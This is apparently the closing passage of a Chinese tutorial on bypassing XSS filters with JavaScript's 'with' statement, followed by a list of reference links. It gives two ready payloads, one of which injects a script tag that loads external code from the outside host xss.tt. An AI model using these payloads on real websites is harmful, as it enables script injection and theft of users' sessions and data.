100 | ![12](https://ws1.sinaimg.cn/large/005DAKuvgy1g29h0xgftjj30vn0f3t9z.jpg)
101 | 
102 | 
103 | #### with
104 | - - -
105 | `with`语句可以方便地用来引用某个特定对象中已有的属性。使用with可以实现通过节点名称的对象调用。
106 | 
107 | 如果`.`被拦截，我们可以尝试`with`。
108 | ```
109 | <svg/onload=with(location)with(hash)eval(alert(1))>
110 | ```
111 | ![13](https://ws1.sinaimg.cn/large/005DAKuvgy1g29i0tg4nuj30vn0al3zc.jpg)
112 | 
113 | 基于DOM的方法创建和插入节点把外部JS文件注入到网页中，也可以应用with。
114 | ```
115 | <svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://xss.tt/XA'})">
116 | ```
117 | 
118 | 
119 | ### 参考
120 | - - -
121 | * https://www.cnblogs.com/slpawn/p/8630740.html
122 | * http://www.anquan.us/static/drops/papers-894.html
123 | * http://www.anquan.us/static/drops/papers-938.html
124 | * https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B风在指尖


--------------------------------------------------------------------------------
/参考.md:
--------------------------------------------------------------------------------
 1 | * https://bbs.kafan.cn/thread-1686598-1-1.html
 2 | 
 3 | * http://www.anquan.us/static/drops/papers-894.html
 4 | 
 5 | * http://www.anquan.us/static/drops/papers-938.html
 6 | 
 7 | * http://www.vulnerability-lab.com/resources/documents/531.txt
 8 | 
 9 | * https://randywestergren.com/persistent-xss-verizons-webmail-client/
10 | 
11 | * https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
12 | 


--------------------------------------------------------------------------------